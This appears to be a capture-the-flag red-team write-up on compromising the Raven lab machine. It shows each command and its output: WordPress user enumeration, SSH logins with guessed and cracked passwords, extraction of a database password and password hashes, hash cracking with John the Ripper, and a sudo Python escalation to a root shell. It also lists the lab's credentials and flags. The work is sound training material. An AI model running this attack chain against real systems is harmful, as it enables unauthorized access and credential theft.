Red Team: Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Command: nmap -sV 192.168.1.110
scan output

```
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-17 16:54 PDT
Nmap scan report for 192.168.1.110
Host is up (0.0011s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.10 ((Debian))
111/tcp open  rpcbind     2-4 (RPC #100000)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https:/
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds
```

This scan identifies the services below as potential points of entry:

- Target 1
  - **Port 22/TCP Open SSH**
  - **Port 80/TCP Open HTTP**
  - **Port 111/TCP rcpbind**
  - **Port 139/TCP Open Netbios**
  - **Port 445/TCP Open Netbios**

The following vulnerabilities were identified on each target:

- **Target 1**
  - Weak passwords / lack of password complexity
  - User enumeration via WordPress

- Unsalted password hashes
- Poor configuration of user privileges / privilege escalation

Exploitation

RedTeam penetrated Target 1 gathering the confidential information shown below..

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- **Target 1**
  - **Flag1.txt**: `flag1{b9bbcb33e11b80be759c4e844862482d}`
  - **Exploit Used**
    - Use of WordPress scan (wpscan) enumerating users on the Target 1 Wordpress website
    - Command: wpscan –url http://192.168.1.110/wordpress –enumerate u

```
root@Kali:~# wpscan --url http://192.168.1.110/wordpress --enumerate u
```

Scan output

```
[+] steven
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection
)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] michael
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection
)
 | Confirmed By: Login Error Messages (Aggressive Detection)
```

This gives us further ability to target users to gain access to the target. Michaels password was so weak we were about to guess it, the password for Michael was michael. Below shows the transition into user Michael.

```
[+] Elapsed time: 00:00:03
root@Kali:~# ssh michael@192.168.1.110
The authenticity of host '192.168.1.110 (192.168.1.110)' can't be established.
ECDSA key fingerprint is SHA256:rCGKSPq0sUfa5mqn/8/M0T63OxqkEIR39pi835oSDo8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.1.110' (ECDSA) to the list of known hosts.
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
michael@target1:~$ cd
```

- **Flag 2**: `flag2{fc3fd58dcdad9ab23faca6e9a36e581c}`
- **Exploit Used**: Used same exploit as first flag, traversing directories as Michael.
  - **Flag 2 Capture**: As Michael we uncovered Flag 2 through the following directory path.
  -
```
michael@target1:/var/www$ ls
flag2.txt  html
```
  - We then concatenated flag 2

```
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
```

- **Flag 3**: `flag3{afc01ab56b50591e7dccf93122770cd2}`
  - Exploit Used: Same as 2 & 3 to get flag 1 and flag 2.
  - Flag 3 Capture: Gaining access to MySQL database
  - Once Flag 2 was located we used the *cd* command to access the html directory. Once in, we ran an *ls* of html we saw wordpress in this directory. From there we *cd wordpress,* ran an *ls* and then ran *cat wp-config.php*. This showed us the MySQL database password *R@v3nSecurity*.

```
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
```

- We then were able to login to MySQL with the following credentials / command
  - **Command**: Mysql -u root -p

```
michael@target1:/var/www/html/wordpress$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 66
Server version: 5.5.60-0+deb8u1 (Debian)
```

- The following commands were used to explore MySQL and locate flag 3.
  - show databases;

```
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
+--------------------+
4 rows in set (0.00 sec)

mysql>
```

  - use wordpress;
  - show tables;

```
Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.00 sec)
```

  - select * from wp_posts;

```
mysql> select * from wp_posts;
+----+------------+---------------
--------------------------------
```

- This was were Flag 3 was revealed

```
p/2018/08/12/4-revision-v1/ |          0 | revision   |                     |                0 |
|  7 |          2 | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 | flag3{afc01ab56b50591e7dccf93122770cd2}
```

- **Flag 4**: `flag4{715dea6c055b9fe3337544932f2941ce}`
  - Exploit Used: Unsalted password hash crack and Python escalation via user Steven. Stevens credentials were accessed via the wp_user file in MySQL as an unsalted hash.

```
mysql> select * from wp_users;
+----+------------+------------------------------------+--------------+------------------+----------+---------------------
-+---------------------+-------------+---------------+
| ID | user_login | user_pass                          | user_nicename | user_email       | user_url | user_registered
 | user_activation_key | user_status | display_name  |
+----+------------+------------------------------------+--------------+------------------+----------+---------------------
-+---------------------+-------------+---------------+
|  1 | michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael      | michael@raven.org |          | 2018-08-12 22:49:12
 |                     |           0 | michael       |
|  2 | steven     | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven       | steven@raven.org  |          | 2018-08-12 23:31:16
 |                     |           0 | Steven Seagull |
+----+------------+------------------------------------+--------------+------------------+----------+---------------------
-+---------------------+-------------+---------------+
2 rows in set (0.00 sec)

mysql> ^CCtrl-C -- exit!
```

    - Next the unsalted hashes were moved to a user_hashes.txt we created to then run *John the Ripper* and *rockyou.txt* against.

```
root@Kali:~# john --wordlist="/usr/share/wordlists/rockyou.txt" user_hashes
.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$
) 512/512 AVX512BW 16×3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pink84           (?)
```

    - Stevens password was then retrieved (password: *pink84*)
      - Next we SSH into stevens user

```
root@Kali:~# ssh steven@192.168.1.110
steven@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Aug 18 11:32:43 2022 from 192.168.1.90
$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin
\:/bin

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python
$
```

- This shows Steven has Python privileges allowing us to further our quest for Flag 4. The following commands below was the path to Flag 4 and ultimately rooting Raven!
    - sudo -l

```
$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin
\:/bin

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python
```

    - Sudo python -c ‘import pty;pty.spawn(“/bin/bash”)’

```
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
```

    - cd /root
    - ls


root@target1:/home/steven# cd /root
root@target1:~# ls
flag4.txt
root@target1:~# cat flag4.txt
flag4{715dea6c055b9fe3337544932f2941ce}
CONGRATULATIONS on successfully rooting Raven!